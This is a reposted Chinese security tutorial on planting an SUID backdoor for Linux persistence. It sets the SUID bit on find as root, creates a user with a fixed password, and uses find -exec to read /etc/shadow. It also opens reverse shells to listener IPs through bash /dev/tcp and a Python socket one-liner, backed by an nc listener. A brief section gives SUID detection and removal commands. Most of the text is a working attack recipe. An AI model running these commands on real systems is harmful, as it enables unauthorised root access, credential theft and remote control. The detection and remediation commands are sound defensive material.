Tips +1
实现原理
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就需要获得root用户的身份了。
如可以用如下文件列表进行提权
nmap
vim
find
bash
more
less
nano
cp
suid提权查询网站: https://gtfobins.github.io/#+suid
操作步骤
被控端:
1、新建普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test
2、root权限下执行如下命令
chmod 4755 /bin/find
攻击端
登录普通用户:
ssh [email protected]
创建一个文件,然后使用find命令查看是否可以以root权限运行
普通用户下 执行:
bash-4.3$ find test -exec whoami ;
root
bash-4.3$ find test -exec cat /etc/shadow ;
root:$6$ZmdseK46$FTvRqEZXdr3DCX2Vd6CXWmWAOJYIjcAI6XQ......
利用find 反弹shell
# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.43.19/8090 0>&1 ;
利用python 反弹一个root权限的shell,实现提权
靶机端:
bash-4.3$ find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.100.16",8090));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ;
攻击端:
nc -lvvp 8090
如何排查
检测:
# find / -perm -u=s -type f 2>/dev/null
# find / -user root -perm -4000 -exec ls -ldb {} ;
# find / -user root -perm -4000 -print 2>/dev/null
解决:取消s权限,例如
# chmod u-s /usr/bin/find
切换到test,再使用find 查看就不行了。
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):Linux持久化—SUID后门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论